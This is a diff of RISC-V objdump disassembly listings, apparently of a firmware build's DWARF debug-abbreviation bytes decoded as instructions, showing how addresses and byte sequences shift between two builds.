+ 312:	0001                	nop
+ 314:	0111                	addi	sp,sp,4
+ 316:	1331                	addi	t1,t1,-20
+ 318:	0000                	unimp
+ 31a:	2e16                	fld	ft8,320(sp)
+ 31c:	3f01                	jal	22c <__stack_size-0x5d4>
+ 31e:	0319                	addi	t1,t1,6
+ 320:	3a0e                	fld	fs4,224(sp)
+ 322:	390b3b0b          	0x390b3b0b
+ 326:	1119270b          	0x1119270b
+ 32a:	1201                	addi	tp,tp,-32
+ 32c:	4006                	0x4006
+ 32e:	9718                	0x9718
+ 330:	1942                	slli	s2,s2,0x30
+ 332:	1301                	addi	t1,t1,-32
+ 334:	0000                	unimp
+ 336:	01828917          	auipc	s2,0x1828
+ 33a:	1101                	addi	sp,sp,-32
+ 33c:	9501                	srai	a0,a0,0x20
+ 33e:	1942                	slli	s2,s2,0x30
+ 340:	1331                	addi	t1,t1,-20
  342:	0000                	unimp
- 344:	0f06                	slli	t5,t5,0x1
- 346:	0b00                	addi	s0,sp,400
- 348:	0013490b          	0x13490b
- 34c:	0700                	addi	s0,sp,896
- 34e:	0026                	c.slli	zero,0x9
- 350:	1349                	addi	t1,t1,-14
- 352:	0000                	unimp
- 354:	2608                	fld	fa0,8(a2)
- 356:	0000                	unimp
- 358:	0900                	addi	s0,sp,144
- 35a:	0e030113          	addi	sp,t1,224
- 35e:	0b3a0b0b          	0xb3a0b0b
- 362:	0b390b3b          	0xb390b3b
- 366:	1301                	addi	t1,t1,-32
- 368:	0000                	unimp
- 36a:	0d0a                	slli	s10,s10,0x2
- 36c:	0300                	addi	s0,sp,384
- 36e:	3a0e                	fld	fs4,224(sp)
- 370:	390b3b0b          	0x390b3b0b
- 374:	3813490b          	0x3813490b
- 378:	0b00000b          	0xb00000b
- 37c:	0101                	addi	sp,sp,0
- 37e:	1349                	addi	t1,t1,-14
- 380:	1301                	addi	t1,t1,-32
+ 344:	2e18                	fld	fa4,24(a2)
+ 346:	3f01                	jal	256 <__stack_size-0x5aa>
+ 348:	0319                	addi	t1,t1,6
+ 34a:	3a0e                	fld	fs4,224(sp)
+ 34c:	390b3b0b          	0x390b3b0b
+ 350:	1113490b          	0x1113490b
+ 354:	1201                	addi	tp,tp,-32
+ 356:	4006                	0x4006
+ 358:	9718                	0x9718
+ 35a:	1942                	slli	s2,s2,0x30
+ 35c:	1301                	addi	t1,t1,-32
+ 35e:	0000                	unimp
+ 360:	3419                	jal	fffffd66 <_heap_end+0x7fff1566>
+ 362:	0300                	addi	s0,sp,384
+ 364:	3a08                	fld	fa0,48(a2)
+ 366:	390b3b0b          	0x390b3b0b
+ 36a:	0213490b          	0x213490b
+ 36e:	0018                	0x18
+ 370:	1a00                	addi	s0,sp,304
+ 372:	002e                	c.slli	zero,0xb
+ 374:	193c193f 0e030e6e 	0xe030e6e193c193f
+ 37c:	0b3a                	slli	s6,s6,0xe
+ 37e:	0b390b3b          	0xb390b3b
  382:	0000                	unimp
- 384:	210c                	fld	fa1,0(a0)
- 386:	4900                	lw	s0,16(a0)
- 388:	000b2f13          	slti	t5,s6,0
- 38c:	0d00                	addi	s0,sp,656
- 38e:	012e                	slli	sp,sp,0xb
- 390:	0e03193f 0b3b0b3a 	0xb3b0b3a0e03193f
- 398:	0b39                	addi	s6,s6,14
- 39a:	13491927          	0x13491927
- 39e:	0111                	addi	sp,sp,4
- 3a0:	0612                	slli	a2,a2,0x4
- 3a2:	1840                	addi	s0,sp,52
- 3a4:	01194297          	auipc	t0,0x1194
- 3a8:	0e000013          	li	zero,224
- 3ac:	0005                	c.nop	1
- 3ae:	0b3a0e03          	lb	t3,179(s4)
- 3b2:	0b390b3b          	0xb390b3b
- 3b6:	1349                	addi	t1,t1,-14
- 3b8:	1702                	slli	a4,a4,0x20
- 3ba:	0000                	unimp
- 3bc:	0300050f          	0x300050f
- 3c0:	3a08                	fld	fa0,48(a2)
- 3c2:	390b3b0b          	0x390b3b0b
- 3c6:	0213490b          	0x213490b
- 3ca:	10000017          	auipc	zero,0x10000
- 3ce:	1755010b          	0x1755010b
- 3d2:	1301                	addi	t1,t1,-32
- 3d4:	0000                	unimp
- 3d6:	3411                	jal	fffffdda <_heap_end+0x7fff15da>
- 3d8:	0300                	addi	s0,sp,384
- 3da:	3a0e                	fld	fs4,224(sp)
- 3dc:	390b3b0b          	0x390b3b0b
- 3e0:	0013490b          	0x13490b
- 3e4:	1200                	addi	s0,sp,288
- 3e6:	1755010b          	0x1755010b
- 3ea:	0000                	unimp
- 3ec:	03003413          	sltiu	s0,zero,48
- 3f0:	3a08                	fld	fa0,48(a2)
- 3f2:	390b3b0b          	0x390b3b0b
- 3f6:	0213490b          	0x213490b
- 3fa:	14000017          	auipc	zero,0x14000
- 3fe:	8289                	srli	a3,a3,0x2
- 400:	0101                	addi	sp,sp,0
- 402:	0111                	addi	sp,sp,4
- 404:	1331                	addi	t1,t1,-20
- 406:	0000                	unimp
- 408:	8a15                	andi	a2,a2,5
- 40a:	0182                	c.slli64	gp
- 40c:	0200                	addi	s0,sp,256
- 40e:	9118                	0x9118
- 410:	1842                	slli	a6,a6,0x30
- 412:	0000                	unimp
- 414:	3416                	fld	fs0,352(sp)
- 416:	0300                	addi	s0,sp,384
- 418:	3a0e                	fld	fs4,224(sp)
- 41a:	390b3b0b          	0x390b3b0b
- 41e:	0213490b          	0x213490b
- 422:	17000017          	auipc	zero,0x17000
- 426:	0005                	c.nop	1
- 428:	0b3a0803          	lb	a6,179(s4)
- 42c:	0b390b3b          	0xb390b3b
- 430:	1349                	addi	t1,t1,-14
- 432:	1802                	slli	a6,a6,0x20
- 434:	0000                	unimp
- 436:	3418                	fld	fa4,40(s0)
- 438:	0300                	addi	s0,sp,384
- 43a:	3a0e                	fld	fs4,224(sp)
- 43c:	390b3b0b          	0x390b3b0b
- 440:	3f13490b          	0x3f13490b
- 444:	3c19                	jal	fffffe5a <_heap_end+0x7fff165a>
- 446:	0019                	c.nop	6
- 448:	1900                	addi	s0,sp,176
- 44a:	0034                	addi	a3,sp,8
- 44c:	0b3a0e03          	lb	t3,179(s4)
- 450:	0b390b3b          	0xb390b3b
- 454:	1349                	addi	t1,t1,-14
- 456:	1802                	slli	a6,a6,0x20
- 458:	0000                	unimp
- 45a:	211a                	fld	ft2,384(sp)
- 45c:	0000                	unimp
- 45e:	1b00                	addi	s0,sp,432
- 460:	002e                	c.slli	zero,0xb
- 462:	193c193f 0e030e6e 	0xe030e6e193c193f
- 46a:	0b3a                	slli	s6,s6,0xe
- 46c:	0b390b3b          	0xb390b3b
- 470:	0000                	unimp
- 472:	0100                	addi	s0,sp,128
- 474:	0111                	addi	sp,sp,4
- 476:	0e25                	addi	t3,t3,9
- 478:	0e030b13          	addi	s6,t1,224
- 47c:	01110e1b          	0x1110e1b
- 480:	0612                	slli	a2,a2,0x4
- 482:	1710                	addi	a2,sp,928
- 484:	0000                	unimp
- 486:	2402                	fld	fs0,0(sp)
- 488:	0b00                	addi	s0,sp,400
- 48a:	030b3e0b          	0x30b3e0b
- 48e:	000e                	c.slli	zero,0x3
- 490:	0300                	addi	s0,sp,384
- 492:	0024                	addi	s1,sp,8
- 494:	0b3e0b0b          	0xb3e0b0b
- 498:	00000803          	lb	a6,0(zero) # 0 <__stack_size-0x800>
- 49c:	1604                	addi	s1,sp,800
- 49e:	0300                	addi	s0,sp,384
- 4a0:	3a0e                	fld	fs4,224(sp)
- 4a2:	390b3b0b          	0x390b3b0b
- 4a6:	0013490b          	0x13490b
- 4aa:	0500                	addi	s0,sp,640
- 4ac:	0026                	c.slli	zero,0x9
- 4ae:	1349                	addi	t1,t1,-14
- 4b0:	0000                	unimp
- 4b2:	1306                	slli	t1,t1,0x21
- 4b4:	0301                	addi	t1,t1,0
- 4b6:	0b0e                	slli	s6,s6,0x3
- 4b8:	3b0b3a0b          	0x3b0b3a0b
- 4bc:	3905                	jal	ec <__stack_size-0x714>
- 4be:	0013010b          	0x13010b
- 4c2:	0700                	addi	s0,sp,896
- 4c4:	000d                	c.nop	3
- 4c6:	0b3a0803          	lb	a6,179(s4)
- 4ca:	0b39053b          	0xb39053b
- 4ce:	1349                	addi	t1,t1,-14
- 4d0:	0b38                	addi	a4,sp,408
- 4d2:	0000                	unimp
- 4d4:	0d08                	addi	a0,sp,656
- 4d6:	0300                	addi	s0,sp,384
- 4d8:	3a0e                	fld	fs4,224(sp)
- 4da:	39053b0b          	0x39053b0b
- 4de:	3813490b          	0x3813490b
- 4e2:	0900000b          	0x900000b
- 4e6:	0b0b0117          	auipc	sp,0xb0b0
- 4ea:	0b3a                	slli	s6,s6,0xe
- 4ec:	0b39053b          	0xb39053b
- 4f0:	1301                	addi	t1,t1,-32
- 4f2:	0000                	unimp
- 4f4:	0d0a                	slli	s10,s10,0x2
- 4f6:	0300                	addi	s0,sp,384
- 4f8:	3a08                	fld	fa0,48(a2)
- 4fa:	39053b0b          	0x39053b0b
- 4fe:	0013490b          	0x13490b
- 502:	0b00                	addi	s0,sp,400
- 504:	0016                	c.slli	zero,0x5
- 506:	0b3a0e03          	lb	t3,179(s4)
- 50a:	0b39053b          	0xb39053b
- 50e:	1349                	addi	t1,t1,-14
- 510:	0000                	unimp
- 512:	2e0c                	fld	fa1,24(a2)
- 514:	3f01                	jal	424 <__stack_size-0x3dc>
- 516:	0319                	addi	t1,t1,6
- 518:	3a0e                	fld	fs4,224(sp)
- 51a:	39053b0b          	0x39053b0b
- 51e:	4919270b          	0x4919270b
- 522:	12011113          	0x12011113
- 526:	4006                	0x4006
- 528:	9718                	0x9718
- 52a:	1942                	slli	s2,s2,0x30
- 52c:	0000                	unimp
- 52e:	050d                	addi	a0,a0,3
- 530:	0300                	addi	s0,sp,384
- 532:	3a08                	fld	fa0,48(a2)
- 534:	39053b0b          	0x39053b0b
- 538:	0213490b          	0x213490b
- 53c:	0e000017          	auipc	zero,0xe000
- 540:	0005                	c.nop	1
- 542:	0b3a0803          	lb	a6,179(s4)
- 546:	0b39053b          	0xb39053b
- 54a:	1349                	addi	t1,t1,-14
- 54c:	1802                	slli	a6,a6,0x20
- 54e:	0000                	unimp
- 550:	0300340f          	0x300340f
- 554:	3a08                	fld	fa0,48(a2)
- 556:	39053b0b          	0x39053b0b
- 55a:	0013490b          	0x13490b
- 55e:	1000                	addi	s0,sp,32
- 560:	0034                	addi	a3,sp,8
- 562:	0b3a0803          	lb	a6,179(s4)
- 566:	0b39053b          	0xb39053b
- 56a:	1349                	addi	t1,t1,-14
- 56c:	1702                	slli	a4,a4,0x20
- 56e:	0000                	unimp
- 570:	0b11                	addi	s6,s6,4
- 572:	1101                	addi	sp,sp,-32
- 574:	1201                	addi	tp,tp,-32
- 576:	0006                	c.slli	zero,0x1
- 578:	1200                	addi	s0,sp,288
- 57a:	0034                	addi	a3,sp,8
- 57c:	0b3a0e03          	lb	t3,179(s4)
- 580:	0b39053b          	0xb39053b
- 584:	1349                	addi	t1,t1,-14
- 586:	1702                	slli	a4,a4,0x20
- 588:	0000                	unimp
- 58a:	0100                	addi	s0,sp,128
- 58c:	0111                	addi	sp,sp,4
- 58e:	0e25                	addi	t3,t3,9
- 590:	0e030b13          	addi	s6,t1,224
- 594:	01110e1b          	0x1110e1b
- 598:	0612                	slli	a2,a2,0x4
- 59a:	1710                	addi	a2,sp,928
- 59c:	0000                	unimp
- 59e:	2402                	fld	fs0,0(sp)
- 5a0:	0b00                	addi	s0,sp,400
- 5a2:	030b3e0b          	0x30b3e0b
- 5a6:	000e                	c.slli	zero,0x3
- 5a8:	0300                	addi	s0,sp,384
- 5aa:	0024                	addi	s1,sp,8
- 5ac:	0b3e0b0b          	0xb3e0b0b
- 5b0:	00000803          	lb	a6,0(zero) # 0 <__stack_size-0x800>
- 5b4:	1604                	addi	s1,sp,800
- 5b6:	0300                	addi	s0,sp,384
- 5b8:	3a0e                	fld	fs4,224(sp)
- 5ba:	390b3b0b          	0x390b3b0b
+ 384:	0100                	addi	s0,sp,128
+ 386:	0111                	addi	sp,sp,4
+ 388:	0e25                	addi	t3,t3,9
+ 38a:	0e030b13          	addi	s6,t1,224
+ 38e:	17550e1b          	0x17550e1b
+ 392:	0111                	addi	sp,sp,4
+ 394:	1710                	addi	a2,sp,928
+ 396:	4299                	li	t0,6
+ 398:	02000017          	auipc	zero,0x2000
+ 39c:	0024                	addi	s1,sp,8
+ 39e:	0b3e0b0b          	0xb3e0b0b
+ 3a2:	00000e03          	lb	t3,0(zero) # 0 <__stack_size-0x800>
+ 3a6:	03001603          	lh	a2,48(zero) # 30 <__stack_size-0x7d0>
+ 3aa:	3a0e                	fld	fs4,224(sp)
+ 3ac:	390b3b0b          	0x390b3b0b
+ 3b0:	0013490b          	0x13490b
+ 3b4:	0400                	addi	s0,sp,512
+ 3b6:	0024                	addi	s1,sp,8
+ 3b8:	0b3e0b0b          	0xb3e0b0b
+ 3bc:	00000803          	lb	a6,0(zero) # 0 <__stack_size-0x800>
+ 3c0:	2605                	jal	6e0 <__stack_size-0x120>
+ 3c2:	4900                	lw	s0,16(a0)
+ 3c4:	06000013          	li	zero,96
+ 3c8:	0b0b000f          	0xb0b000f
+ 3cc:	1349                	addi	t1,t1,-14
+ 3ce:	0000                	unimp
+ 3d0:	03011307          	0x3011307
+ 3d4:	0b0e                	slli	s6,s6,0x3
+ 3d6:	3b0b3a0b          	0x3b0b3a0b
+ 3da:	010b390b          	0x10b390b
+ 3de:	08000013          	li	zero,128
+ 3e2:	000d                	c.nop	3
+ 3e4:	0b3a0803          	lb	a6,179(s4)
+ 3e8:	0b390b3b          	0xb390b3b
+ 3ec:	1349                	addi	t1,t1,-14
+ 3ee:	0b38                	addi	a4,sp,408
+ 3f0:	0000                	unimp
+ 3f2:	0d09                	addi	s10,s10,2
+ 3f4:	0300                	addi	s0,sp,384
+ 3f6:	3a0e                	fld	fs4,224(sp)
+ 3f8:	390b3b0b          	0x390b3b0b
+ 3fc:	3813490b          	0x3813490b
+ 400:	0a00000b          	0xa00000b
+ 404:	0104                	addi	s1,sp,128
+ 406:	0b3e0e03          	lb	t3,179(t3) # 60b3 <__stack_size+0x58b3>
+ 40a:	13490b0b          	0x13490b0b
+ 40e:	0b3a                	slli	s6,s6,0xe
+ 410:	0b390b3b          	0xb390b3b
+ 414:	1301                	addi	t1,t1,-32
+ 416:	0000                	unimp
+ 418:	0300280b          	0x300280b
+ 41c:	1c0e                	slli	s8,s8,0x23
+ 41e:	0c00000b          	0xc00000b
+ 422:	0034                	addi	a3,sp,8
+ 424:	0b3a0e03          	lb	t3,179(s4)
+ 428:	0b390b3b          	0xb390b3b
+ 42c:	1349                	addi	t1,t1,-14
+ 42e:	0000                	unimp
+ 430:	2e0d                	jal	762 <__stack_size-0x9e>
+ 432:	3f01                	jal	342 <__stack_size-0x4be>
+ 434:	0319                	addi	t1,t1,6
+ 436:	3a0e                	fld	fs4,224(sp)
+ 438:	390b3b0b          	0x390b3b0b
+ 43c:	4919270b          	0x4919270b
+ 440:	12011113          	0x12011113
+ 444:	4006                	0x4006
+ 446:	9718                	0x9718
+ 448:	1942                	slli	s2,s2,0x30
+ 44a:	1301                	addi	t1,t1,-32
+ 44c:	0000                	unimp
+ 44e:	050e                	slli	a0,a0,0x3
+ 450:	0300                	addi	s0,sp,384
+ 452:	3a08                	fld	fa0,48(a2)
+ 454:	390b3b0b          	0x390b3b0b
+ 458:	0213490b          	0x213490b
+ 45c:	0f000017          	auipc	zero,0xf000
+ 460:	0005                	c.nop	1
+ 462:	0b3a0e03          	lb	t3,179(s4)
+ 466:	0b390b3b          	0xb390b3b
+ 46a:	1349                	addi	t1,t1,-14
+ 46c:	1702                	slli	a4,a4,0x20
+ 46e:	0000                	unimp
+ 470:	3410                	fld	fa2,40(s0)
+ 472:	0300                	addi	s0,sp,384
+ 474:	3a08                	fld	fa0,48(a2)
+ 476:	390b3b0b          	0x390b3b0b
+ 47a:	0213490b          	0x213490b
+ 47e:	11000017          	auipc	zero,0x11000
+ 482:	0034                	addi	a3,sp,8
+ 484:	0b3a0e03          	lb	t3,179(s4)
+ 488:	0b390b3b          	0xb390b3b
+ 48c:	1349                	addi	t1,t1,-14
+ 48e:	1702                	slli	a4,a4,0x20
+ 490:	0000                	unimp
+ 492:	0b12                	slli	s6,s6,0x4
+ 494:	1101                	addi	sp,sp,-32
+ 496:	1201                	addi	tp,tp,-32
+ 498:	0106                	slli	sp,sp,0x1
+ 49a:	13000013          	li	zero,304
+ 49e:	1755010b          	0x1755010b
+ 4a2:	0000                	unimp
+ 4a4:	3414                	fld	fa3,40(s0)
+ 4a6:	0300                	addi	s0,sp,384
+ 4a8:	3a08                	fld	fa0,48(a2)
+ 4aa:	390b3b0b          	0x390b3b0b
+ 4ae:	0213490b          	0x213490b
+ 4b2:	0018                	0x18
+ 4b4:	1500                	addi	s0,sp,672
+ 4b6:	8289                	srli	a3,a3,0x2
+ 4b8:	0101                	addi	sp,sp,0
+ 4ba:	0111                	addi	sp,sp,4
+ 4bc:	1331                	addi	t1,t1,-20
+ 4be:	1301                	addi	t1,t1,-32
+ 4c0:	0000                	unimp
+ 4c2:	8a16                	mv	s4,t0
+ 4c4:	0182                	c.slli64	gp
+ 4c6:	0200                	addi	s0,sp,256
+ 4c8:	9118                	0x9118
+ 4ca:	1842                	slli	a6,a6,0x30
+ 4cc:	0000                	unimp
+ 4ce:	01828917          	auipc	s2,0x1828
+ 4d2:	1101                	addi	sp,sp,-32
+ 4d4:	3101                	jal	d4 <__stack_size-0x72c>
+ 4d6:	18000013          	li	zero,384
+ 4da:	1755010b          	0x1755010b
+ 4de:	1301                	addi	t1,t1,-32
+ 4e0:	0000                	unimp
+ 4e2:	3419                	jal	fffffee8 <_heap_end+0x7fff16e8>
+ 4e4:	0300                	addi	s0,sp,384
+ 4e6:	3a0e                	fld	fs4,224(sp)
+ 4e8:	390b3b0b          	0x390b3b0b
+ 4ec:	0213490b          	0x213490b
+ 4f0:	0018                	0x18
+ 4f2:	1a00                	addi	s0,sp,304
+ 4f4:	0101                	addi	sp,sp,0
+ 4f6:	1349                	addi	t1,t1,-14
+ 4f8:	1301                	addi	t1,t1,-32
+ 4fa:	0000                	unimp
+ 4fc:	4900211b          	0x4900211b
+ 500:	000b2f13          	slti	t5,s6,0
+ 504:	1c00                	addi	s0,sp,560
+ 506:	0034                	addi	a3,sp,8
+ 508:	0b3a0803          	lb	a6,179(s4)
+ 50c:	0b390b3b          	0xb390b3b
+ 510:	1349                	addi	t1,t1,-14
+ 512:	0000                	unimp
+ 514:	891d                	andi	a0,a0,7
+ 516:	0182                	c.slli64	gp
+ 518:	1101                	addi	sp,sp,-32
+ 51a:	9501                	srai	a0,a0,0x20
+ 51c:	1942                	slli	s2,s2,0x30
+ 51e:	1331                	addi	t1,t1,-20
+ 520:	0000                	unimp
+ 522:	2e1e                	fld	ft8,448(sp)
+ 524:	3f01                	jal	434 <__stack_size-0x3cc>
+ 526:	0319                	addi	t1,t1,6
+ 528:	3a0e                	fld	fs4,224(sp)
+ 52a:	390b3b0b          	0x390b3b0b
+ 52e:	1119270b          	0x1119270b
+ 532:	1201                	addi	tp,tp,-32
+ 534:	4006                	0x4006
+ 536:	9718                	0x9718
+ 538:	1942                	slli	s2,s2,0x30
+ 53a:	1301                	addi	t1,t1,-32
+ 53c:	0000                	unimp
+ 53e:	041f 3e01 0b0b      	0xb0b3e01041f
+ 544:	3a13490b          	0x3a13490b
+ 548:	390b3b0b          	0x390b3b0b
+ 54c:	0013010b          	0x13010b
+ 550:	2000                	fld	fs0,0(s0)
+ 552:	002e                	c.slli	zero,0xb
+ 554:	193c193f 0e030e6e 	0xe030e6e193c193f
+ 55c:	0b3a                	slli	s6,s6,0xe
+ 55e:	0b390b3b          	0xb390b3b
+ 562:	0000                	unimp
+ 564:	2e21                	jal	87c <__stack_size+0x7c>
+ 566:	3f00                	fld	fs0,56(a4)
+ 568:	3c19                	jal	ffffff7e <_heap_end+0x7fff177e>
+ 56a:	6e19                	lui	t3,0x6
+ 56c:	030e                	slli	t1,t1,0x3
+ 56e:	3a0e                	fld	fs4,224(sp)
+ 570:	39053b0b          	0x39053b0b
+ 574:	0000000b          	0xb
+ 578:	1101                	addi	sp,sp,-32
+ 57a:	2501                	jal	b7a <__stack_size+0x37a>
+ 57c:	130e                	slli	t1,t1,0x23
+ 57e:	1b0e030b          	0x1b0e030b
+ 582:	550e                	lw	a0,224(sp)
+ 584:	10011117          	auipc	sp,0x10011
+ 588:	17429917          	auipc	s2,0x17429
+ 58c:	0000                	unimp
+ 58e:	1602                	slli	a2,a2,0x20
+ 590:	0300                	addi	s0,sp,384
+ 592:	3a0e                	fld	fs4,224(sp)
+ 594:	390b3b0b          	0x390b3b0b
+ 598:	0013490b          	0x13490b
+ 59c:	0300                	addi	s0,sp,384
+ 59e:	0024                	addi	s1,sp,8
+ 5a0:	0b3e0b0b          	0xb3e0b0b
+ 5a4:	00000e03          	lb	t3,0(zero) # 0 <__stack_size-0x800>
+ 5a8:	2404                	fld	fs1,8(s0)
+ 5aa:	0b00                	addi	s0,sp,400
+ 5ac:	030b3e0b          	0x30b3e0b
+ 5b0:	0008                	0x8
+ 5b2:	0500                	addi	s0,sp,640
+ 5b4:	0b0b000f          	0xb0b000f
+ 5b8:	0000                	unimp
+ 5ba:	0f06                	slli	t5,t5,0x1
+ 5bc:	0b00                	addi	s0,sp,400
  5be:	0013490b          	0x13490b
- 5c2:	0500                	addi	s0,sp,640
+ 5c2:	0700                	addi	s0,sp,896
  5c4:	0026                	c.slli	zero,0x9
  5c6:	1349                	addi	t1,t1,-14
  5c8:	0000                	unimp
- 5ca:	1306                	slli	t1,t1,0x21
- 5cc:	0301                	addi	t1,t1,0
- 5ce:	0b0e                	slli	s6,s6,0x3
- 5d0:	3b0b3a0b          	0x3b0b3a0b
- 5d4:	3905                	jal	204 <__stack_size-0x5fc>
- 5d6:	0013010b          	0x13010b
- 5da:	0700                	addi	s0,sp,896
- 5dc:	000d                	c.nop	3
- 5de:	0b3a0803          	lb	a6,179(s4)
- 5e2:	0b39053b          	0xb39053b
- 5e6:	1349                	addi	t1,t1,-14
- 5e8:	0b38                	addi	a4,sp,408
- 5ea:	0000                	unimp
- 5ec:	0d08                	addi	a0,sp,656
- 5ee:	0300                	addi	s0,sp,384
- 5f0:	3a0e                	fld	fs4,224(sp)
- 5f2:	39053b0b          	0x39053b0b
- 5f6:	3813490b          	0x3813490b
- 5fa:	0900000b          	0x900000b
- 5fe:	0b0b0117          	auipc	sp,0xb0b0
- 602:	0b3a                	slli	s6,s6,0xe
- 604:	0b39053b          	0xb39053b
- 608:	1301                	addi	t1,t1,-32
- 60a:	0000                	unimp
- 60c:	0d0a                	slli	s10,s10,0x2
- 60e:	0300                	addi	s0,sp,384
- 610:	3a08                	fld	fa0,48(a2)
- 612:	39053b0b          	0x39053b0b
- 616:	0013490b          	0x13490b
- 61a:	0b00                	addi	s0,sp,400
- 61c:	0016                	c.slli	zero,0x5
- 61e:	0b3a0e03          	lb	t3,179(s4)
- 622:	0b39053b          	0xb39053b
- 626:	1349                	addi	t1,t1,-14
- 628:	0000                	unimp
- 62a:	010c                	addi	a1,sp,128
- 62c:	4901                	li	s2,0
- 62e:	00130113          	addi	sp,t1,1
- 632:	0d00                	addi	s0,sp,656
- 634:	0021                	c.nop	8
- 636:	1349                	addi	t1,t1,-14
- 638:	00000b2f          	0xb2f
- 63c:	340e                	fld	fs0,224(sp)
- 63e:	0300                	addi	s0,sp,384
- 640:	3a0e                	fld	fs4,224(sp)
- 642:	39053b0b          	0x39053b0b
- 646:	3f13490b          	0x3f13490b
- 64a:	3c19                	jal	60 <__stack_size-0x7a0>
- 64c:	0019                	c.nop	6
- 64e:	0f00                	addi	s0,sp,912
- 650:	012e                	slli	sp,sp,0xb
- 652:	0e03193f 053b0b3a 	0x53b0b3a0e03193f
- 65a:	0b39                	addi	s6,s6,14
- 65c:	13491927          	0x13491927
- 660:	0111                	addi	sp,sp,4
- 662:	0612                	slli	a2,a2,0x4
- 664:	1840                	addi	s0,sp,52
- 666:	01194297          	auipc	t0,0x1194
- 66a:	10000013          	li	zero,256
- 66e:	0005                	c.nop	1
- 670:	0b3a0803          	lb	a6,179(s4)
- 674:	0b39053b          	0xb39053b
- 678:	1349                	addi	t1,t1,-14
- 67a:	1702                	slli	a4,a4,0x20
+ 5ca:	2608                	fld	fa0,8(a2)
+ 5cc:	0000                	unimp
+ 5ce:	0900                	addi	s0,sp,144
+ 5d0:	0e030113          	addi	sp,t1,224
+ 5d4:	0b3a0b0b          	0xb3a0b0b
+ 5d8:	0b390b3b          	0xb390b3b
+ 5dc:	1301                	addi	t1,t1,-32
+ 5de:	0000                	unimp
+ 5e0:	0d0a                	slli	s10,s10,0x2
+ 5e2:	0300                	addi	s0,sp,384
+ 5e4:	3a0e                	fld	fs4,224(sp)
+ 5e6:	390b3b0b          	0x390b3b0b
+ 5ea:	3813490b          	0x3813490b
+ 5ee:	0b00000b          	0xb00000b
+ 5f2:	0101                	addi	sp,sp,0
+ 5f4:	1349                	addi	t1,t1,-14
+ 5f6:	1301                	addi	t1,t1,-32
+ 5f8:	0000                	unimp
+ 5fa:	210c                	fld	fa1,0(a0)
+ 5fc:	4900                	lw	s0,16(a0)
+ 5fe:	000b2f13          	slti	t5,s6,0
+ 602:	0d00                	addi	s0,sp,656
+ 604:	012e                	slli	sp,sp,0xb
+ 606:	0e03193f 0b3b0b3a 	0xb3b0b3a0e03193f
+ 60e:	0b39                	addi	s6,s6,14
+ 610:	13491927          	0x13491927
+ 614:	0111                	addi	sp,sp,4
+ 616:	0612                	slli	a2,a2,0x4
+ 618:	1840                	addi	s0,sp,52
+ 61a:	01194297          	auipc	t0,0x1194
+ 61e:	0e000013          	li	zero,224
+ 622:	0005                	c.nop	1
+ 624:	0b3a0e03          	lb	t3,179(s4)
+ 628:	0b390b3b          	0xb390b3b
+ 62c:	1349                	addi	t1,t1,-14
+ 62e:	1702                	slli	a4,a4,0x20
+ 630:	0000                	unimp
+ 632:	0300050f          	0x300050f
+ 636:	3a08                	fld	fa0,48(a2)
+ 638:	390b3b0b          	0x390b3b0b
+ 63c:	0213490b          	0x213490b
+ 640:	10000017          	auipc	zero,0x10000
+ 644:	1755010b          	0x1755010b
+ 648:	1301                	addi	t1,t1,-32
+ 64a:	0000                	unimp
+ 64c:	3411                	jal	50 <__stack_size-0x7b0>
+ 64e:	0300                	addi	s0,sp,384
+ 650:	3a0e                	fld	fs4,224(sp)
+ 652:	390b3b0b          	0x390b3b0b
+ 656:	0013490b          	0x13490b
+ 65a:	1200                	addi	s0,sp,288
+ 65c:	1755010b          	0x1755010b
+ 660:	0000                	unimp
+ 662:	03003413          	sltiu	s0,zero,48
+ 666:	3a08                	fld	fa0,48(a2)
+ 668:	390b3b0b          	0x390b3b0b
+ 66c:	0213490b          	0x213490b
+ 670:	14000017          	auipc	zero,0x14000
+ 674:	8289                	srli	a3,a3,0x2
+ 676:	0101                	addi	sp,sp,0
+ 678:	0111                	addi	sp,sp,4
+ 67a:	1331                	addi	t1,t1,-20
  67c:	0000                	unimp
- 67e:	1d11                	addi	s10,s10,-28
- 680:	3101                	jal	280 <__stack_size-0x580>
- 682:	55015213          	0x55015213
- 686:	590b5817          	auipc	a6,0x590b5
- 68a:	5705                	li	a4,-31
- 68c:	1200000b          	0x1200000b
- 690:	0005                	c.nop	1
- 692:	1331                	addi	t1,t1,-20
- 694:	1702                	slli	a4,a4,0x20
- 696:	0000                	unimp
- 698:	55010b13          	addi	s6,sp,1360 # b0b0b4e <__stack_size+0xb0b034e>
- 69c:	14000017          	auipc	zero,0x14000
- 6a0:	0034                	addi	a3,sp,8
- 6a2:	1331                	addi	t1,t1,-20
- 6a4:	0000                	unimp
- 6a6:	3415                	jal	ca <__stack_size-0x736>
- 6a8:	3100                	fld	fs0,32(a0)
- 6aa:	00170213          	addi	tp,a4,1 # fffe7001 <_heap_end+0x7ffd8801>
- 6ae:	1600                	addi	s0,sp,800
- 6b0:	1331010b          	0x1331010b
- 6b4:	1755                	addi	a4,a4,-11
- 6b6:	1301                	addi	t1,t1,-32
- 6b8:	0000                	unimp
- 6ba:	31010b17          	auipc	s6,0x31010
- 6be:	12011113          	0x12011113
- 6c2:	0106                	slli	sp,sp,0x1
- 6c4:	18000013          	li	zero,384
- 6c8:	1331010b          	0x1331010b
- 6cc:	1755                	addi	a4,a4,-11
+ 67e:	8a15                	andi	a2,a2,5
+ 680:	0182                	c.slli64	gp
+ 682:	0200                	addi	s0,sp,256
+ 684:	9118                	0x9118
+ 686:	1842                	slli	a6,a6,0x30
+ 688:	0000                	unimp
+ 68a:	3416                	fld	fs0,352(sp)
+ 68c:	0300                	addi	s0,sp,384
+ 68e:	3a0e                	fld	fs4,224(sp)
+ 690:	390b3b0b          	0x390b3b0b
+ 694:	0213490b          	0x213490b
+ 698:	17000017          	auipc	zero,0x17000
+ 69c:	0005                	c.nop	1
+ 69e:	0b3a0803          	lb	a6,179(s4)
+ 6a2:	0b390b3b          	0xb390b3b
+ 6a6:	1349                	addi	t1,t1,-14
+ 6a8:	1802                	slli	a6,a6,0x20
+ 6aa:	0000                	unimp
+ 6ac:	3418                	fld	fa4,40(s0)
+ 6ae:	0300                	addi	s0,sp,384
+ 6b0:	3a0e                	fld	fs4,224(sp)
+ 6b2:	390b3b0b          	0x390b3b0b
+ 6b6:	3f13490b          	0x3f13490b
+ 6ba:	3c19                	jal	d0 <__stack_size-0x730>
+ 6bc:	0019                	c.nop	6
+ 6be:	1900                	addi	s0,sp,176
+ 6c0:	0034                	addi	a3,sp,8
+ 6c2:	0b3a0e03          	lb	t3,179(s4)
+ 6c6:	0b390b3b          	0xb390b3b
